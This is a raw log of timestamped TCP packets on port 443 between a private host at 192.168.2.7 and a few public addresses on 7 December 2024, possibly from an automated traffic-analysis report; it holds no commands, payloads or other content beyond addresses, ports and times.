Dec 7, 2024 17:35:23.712682962 CET	443	49720	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:23.712742090 CET	49720	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:23.713103056 CET	49720	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:23.713113070 CET	443	49720	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:23.713216066 CET	49721	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:23.713251114 CET	443	49721	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:23.713304996 CET	49721	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:23.713355064 CET	49722	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:23.713363886 CET	443	49722	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:23.713414907 CET	49722	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:23.713519096 CET	49721	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:23.713535070 CET	443	49721	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:23.713568926 CET	49722	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:23.713577986 CET	443	49722	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:23.714395046 CET	49723	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:23.714404106 CET	443	49723	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:23.714489937 CET	49723	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:23.714601040 CET	49723	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:23.714620113 CET	443	49723	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.436463118 CET	443	49719	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.446181059 CET	49719	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.446192026 CET	443	49719	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.446660995 CET	49719	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.446669102 CET	443	49719	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.453335047 CET	443	49723	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.453810930 CET	443	49720	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.453846931 CET	443	49721	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.457268000 CET	49723	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.457288027 CET	443	49723	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.458183050 CET	49723	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.458189964 CET	443	49723	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.458653927 CET	49720	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.458669901 CET	443	49720	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.459419012 CET	49720	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.459424019 CET	443	49720	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.459733009 CET	49721	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.459741116 CET	443	49721	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.460436106 CET	49721	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.460441113 CET	443	49721	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.839409113 CET	443	49718	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:25.839500904 CET	443	49718	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:25.839653015 CET	49718	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:25.839720964 CET	49718	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:25.839732885 CET	443	49718	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:25.870778084 CET	443	49719	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.870836973 CET	443	49719	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.870937109 CET	49719	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.871167898 CET	49719	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.871167898 CET	49719	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.871191025 CET	443	49719	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.871196032 CET	443	49719	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.874103069 CET	49724	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.874119997 CET	443	49724	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.874195099 CET	49724	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.874375105 CET	49724	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.874385118 CET	443	49724	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.887334108 CET	443	49723	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.887379885 CET	443	49723	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.887430906 CET	49723	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.887547970 CET	49723	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.887567043 CET	443	49723	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.887574911 CET	49723	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.887582064 CET	443	49723	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.888438940 CET	443	49721	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.888494968 CET	443	49721	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.888540030 CET	49721	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.888551950 CET	443	49720	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.888598919 CET	443	49720	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.888647079 CET	49720	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.888669968 CET	49721	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.888676882 CET	443	49721	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.888686895 CET	49721	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.888689995 CET	443	49721	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.888782978 CET	49720	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.888782978 CET	49720	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.888796091 CET	443	49720	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.888803959 CET	443	49720	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.891115904 CET	49725	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.891140938 CET	443	49725	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.891191006 CET	49725	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.891283035 CET	49726	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.891293049 CET	443	49726	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.891341925 CET	49726	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.891431093 CET	49725	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.891443014 CET	443	49725	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.891683102 CET	49726	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.891693115 CET	443	49726	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.892261028 CET	49727	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.892272949 CET	443	49727	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.892329931 CET	49727	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.892441034 CET	49727	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:25.892453909 CET	443	49727	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:25.967998028 CET	49728	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:25.968034029 CET	443	49728	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:25.968122959 CET	49728	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:25.968411922 CET	49728	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:25.968425989 CET	443	49728	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:26.703036070 CET	443	49722	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:26.703455925 CET	49722	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:26.703481913 CET	443	49722	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:26.703900099 CET	49722	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:26.703905106 CET	443	49722	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:26.774152040 CET	49729	443	192.168.2.7	20.109.210.53
Dec 7, 2024 17:35:26.774190903 CET	443	49729	20.109.210.53	192.168.2.7
Dec 7, 2024 17:35:26.774286032 CET	49729	443	192.168.2.7	20.109.210.53
Dec 7, 2024 17:35:26.775871992 CET	49729	443	192.168.2.7	20.109.210.53
Dec 7, 2024 17:35:26.775886059 CET	443	49729	20.109.210.53	192.168.2.7
Dec 7, 2024 17:35:27.138735056 CET	443	49722	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:27.138782024 CET	443	49722	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:27.138875961 CET	49722	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:27.139105082 CET	49722	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:27.139117956 CET	443	49722	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:27.139148951 CET	49722	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:27.139153957 CET	443	49722	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:27.142729044 CET	49730	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:27.142755985 CET	443	49730	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:27.142831087 CET	49730	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:27.142981052 CET	49730	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:27.142990112 CET	443	49730	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:27.182403088 CET	443	49728	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:27.182483912 CET	49728	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:27.183880091 CET	49728	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:27.183892965 CET	443	49728	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:27.184127092 CET	443	49728	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:27.185556889 CET	49728	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:27.185697079 CET	49728	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:27.185726881 CET	443	49728	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:27.185822010 CET	49728	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:27.185827971 CET	443	49728	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:27.592747927 CET	443	49724	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:27.593466997 CET	49724	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:27.593480110 CET	443	49724	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:27.594017982 CET	49724	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:27.594022036 CET	443	49724	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:27.642507076 CET	443	49727	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:27.643222094 CET	443	49726	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:27.643687010 CET	443	49725	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:27.660475969 CET	49727	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:27.660496950 CET	443	49727	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:27.660991907 CET	49727	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:27.660996914 CET	443	49727	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:27.661323071 CET	49726	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:27.661334991 CET	443	49726	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:27.661819935 CET	49726	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:27.661823988 CET	443	49726	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:27.662115097 CET	49725	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:27.662122965 CET	443	49725	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:27.662518978 CET	49725	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:27.662523031 CET	443	49725	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:28.027457952 CET	443	49724	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:28.027510881 CET	443	49724	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:28.027570963 CET	49724	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:28.032216072 CET	49724	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:28.032234907 CET	443	49724	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:28.032252073 CET	49724	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:28.032258034 CET	443	49724	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:28.077322006 CET	443	49727	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:28.077373981 CET	443	49727	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:28.077475071 CET	49727	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:28.077651024 CET	443	49726	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:28.077708006 CET	443	49726	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:28.077775002 CET	49726	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:28.078748941 CET	443	49725	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:28.078803062 CET	443	49725	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:28.078843117 CET	49725	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:28.085256100 CET	49727	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:28.085273981 CET	443	49727	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:28.085284948 CET	49727	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:28.085292101 CET	443	49727	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:28.097609997 CET	49726	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:28.097620964 CET	443	49726	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:28.097651005 CET	49726	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:28.097655058 CET	443	49726	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:28.136502028 CET	49725	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:28.136508942 CET	443	49725	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:28.136521101 CET	49725	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:28.136524916 CET	443	49725	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:28.175403118 CET	49731	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:28.175424099 CET	443	49731	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:28.175532103 CET	49731	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:28.208167076 CET	49731	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:28.208178997 CET	443	49731	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:28.218008995 CET	49732	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:28.218053102 CET	443	49732	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:28.218203068 CET	49732	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:28.218491077 CET	49732	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:28.218504906 CET	443	49732	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:28.222594023 CET	49733	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:28.222616911 CET	443	49733	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:28.222778082 CET	49733	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:28.223687887 CET	49734	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:28.223711967 CET	443	49734	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:28.223794937 CET	49734	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:28.224445105 CET	49733	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:28.224457026 CET	443	49733	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:28.224673986 CET	49734	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:28.224689007 CET	443	49734	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:28.414026976 CET	443	49729	20.109.210.53	192.168.2.7
Dec 7, 2024 17:35:28.414246082 CET	49729	443	192.168.2.7	20.109.210.53
Dec 7, 2024 17:35:28.602397919 CET	49729	443	192.168.2.7	20.109.210.53
Dec 7, 2024 17:35:28.602431059 CET	443	49729	20.109.210.53	192.168.2.7
Dec 7, 2024 17:35:28.602664948 CET	443	49729	20.109.210.53	192.168.2.7
Dec 7, 2024 17:35:28.645786047 CET	49729	443	192.168.2.7	20.109.210.53
Dec 7, 2024 17:35:28.871766090 CET	443	49730	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:28.906074047 CET	49730	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:28.906089067 CET	443	49730	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:28.906907082 CET	49730	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:28.906915903 CET	443	49730	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:29.306221008 CET	443	49730	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:29.306286097 CET	443	49730	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:29.306339979 CET	49730	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:29.306621075 CET	49730	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:29.306637049 CET	443	49730	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:29.306647062 CET	49730	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:29.306653023 CET	443	49730	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:29.309675932 CET	49736	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:29.309729099 CET	443	49736	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:29.309808016 CET	49736	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:29.309958935 CET	49736	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:29.309966087 CET	443	49736	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:29.871499062 CET	443	49728	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:29.871606112 CET	443	49728	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:29.871692896 CET	49728	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:29.871975899 CET	49728	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:29.871994019 CET	443	49728	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:29.928322077 CET	443	49731	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:29.928831100 CET	49731	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:29.928839922 CET	443	49731	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:29.929346085 CET	49731	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:29.929349899 CET	443	49731	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:29.940206051 CET	443	49732	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:29.940570116 CET	49732	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:29.940594912 CET	443	49732	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:29.940999031 CET	49732	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:29.941004992 CET	443	49732	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:29.945972919 CET	443	49734	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:29.946335077 CET	49734	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:29.946342945 CET	443	49734	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:29.946719885 CET	49734	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:29.946724892 CET	443	49734	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:29.948225975 CET	443	49733	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:29.948492050 CET	49733	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:29.948514938 CET	443	49733	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:29.948869944 CET	49733	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:29.948878050 CET	443	49733	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:30.059684992 CET	49737	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:30.059720993 CET	443	49737	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:30.059848070 CET	49737	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:30.060148001 CET	49737	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:30.060159922 CET	443	49737	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:30.369075060 CET	443	49731	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:30.369139910 CET	443	49731	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:30.369220972 CET	49731	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:30.369486094 CET	49731	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:30.369491100 CET	443	49731	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:30.369508028 CET	49731	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:30.369512081 CET	443	49731	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:30.372889042 CET	49738	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:30.372908115 CET	443	49738	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:30.373034954 CET	49738	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:30.373167992 CET	49738	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:30.373184919 CET	443	49738	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:30.532253981 CET	49729	443	192.168.2.7	20.109.210.53
Dec 7, 2024 17:35:30.539077997 CET	443	49732	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:30.539145947 CET	443	49732	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:30.539246082 CET	49732	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:30.539464951 CET	49732	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:30.539489031 CET	443	49732	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:30.539505005 CET	49732	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:30.539510965 CET	443	49732	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:30.539665937 CET	443	49733	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:30.539721012 CET	443	49733	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:30.539768934 CET	49733	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:30.540126085 CET	443	49734	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:30.540174961 CET	443	49734	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:30.540400028 CET	49733	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:30.540420055 CET	443	49733	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:30.540431023 CET	49734	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:30.540436029 CET	49733	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:30.540441990 CET	443	49733	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:30.540760040 CET	49734	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:30.540766001 CET	443	49734	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:30.540775061 CET	49734	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:30.540779114 CET	443	49734	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:30.543354034 CET	49739	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:30.543380976 CET	443	49739	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:30.543462038 CET	49739	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:30.544487000 CET	49740	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:30.544523001 CET	443	49740	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:30.544585943 CET	49740	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:30.544615984 CET	49739	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:30.544627905 CET	443	49739	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:30.544760942 CET	49740	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:30.544775963 CET	443	49740	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:30.545099974 CET	49741	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:30.545121908 CET	443	49741	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:30.545193911 CET	49741	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:30.545299053 CET	49741	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:30.545312881 CET	443	49741	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:30.575333118 CET	443	49729	20.109.210.53	192.168.2.7
Dec 7, 2024 17:35:31.054006100 CET	443	49736	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:31.054699898 CET	49736	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:31.054725885 CET	443	49736	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:31.056603909 CET	49736	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:31.056611061 CET	443	49736	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:31.070983887 CET	443	49729	20.109.210.53	192.168.2.7
Dec 7, 2024 17:35:31.071017027 CET	443	49729	20.109.210.53	192.168.2.7
Dec 7, 2024 17:35:31.071023941 CET	443	49729	20.109.210.53	192.168.2.7
Dec 7, 2024 17:35:31.071036100 CET	443	49729	20.109.210.53	192.168.2.7
Dec 7, 2024 17:35:31.071062088 CET	443	49729	20.109.210.53	192.168.2.7
Dec 7, 2024 17:35:31.071140051 CET	49729	443	192.168.2.7	20.109.210.53
Dec 7, 2024 17:35:31.071165085 CET	443	49729	20.109.210.53	192.168.2.7
Dec 7, 2024 17:35:31.071187019 CET	49729	443	192.168.2.7	20.109.210.53
Dec 7, 2024 17:35:31.071213961 CET	49729	443	192.168.2.7	20.109.210.53
Dec 7, 2024 17:35:31.090441942 CET	443	49729	20.109.210.53	192.168.2.7
Dec 7, 2024 17:35:31.090526104 CET	443	49729	20.109.210.53	192.168.2.7
Dec 7, 2024 17:35:31.090527058 CET	49729	443	192.168.2.7	20.109.210.53
Dec 7, 2024 17:35:31.090579033 CET	49729	443	192.168.2.7	20.109.210.53
Dec 7, 2024 17:35:31.091449022 CET	49729	443	192.168.2.7	20.109.210.53
Dec 7, 2024 17:35:31.091470957 CET	443	49729	20.109.210.53	192.168.2.7
Dec 7, 2024 17:35:31.091485023 CET	49729	443	192.168.2.7	20.109.210.53
Dec 7, 2024 17:35:31.091490984 CET	443	49729	20.109.210.53	192.168.2.7
Dec 7, 2024 17:35:31.457297087 CET	443	49737	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:31.457380056 CET	49737	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:31.481422901 CET	49737	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:31.481445074 CET	443	49737	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:31.481723070 CET	443	49737	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:31.497623920 CET	443	49736	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:31.497674942 CET	443	49736	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:31.497756958 CET	49736	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:31.536591053 CET	49737	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:31.585544109 CET	49736	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:31.585566044 CET	443	49736	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:31.585578918 CET	49736	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:31.585586071 CET	443	49736	13.107.246.63	192.168.2.7
Dec 7, 2024 17:35:31.586766005 CET	49737	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:31.587081909 CET	49737	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:31.587121010 CET	443	49737	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:31.587182999 CET	49737	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:31.587194920 CET	443	49737	104.21.16.9	192.168.2.7
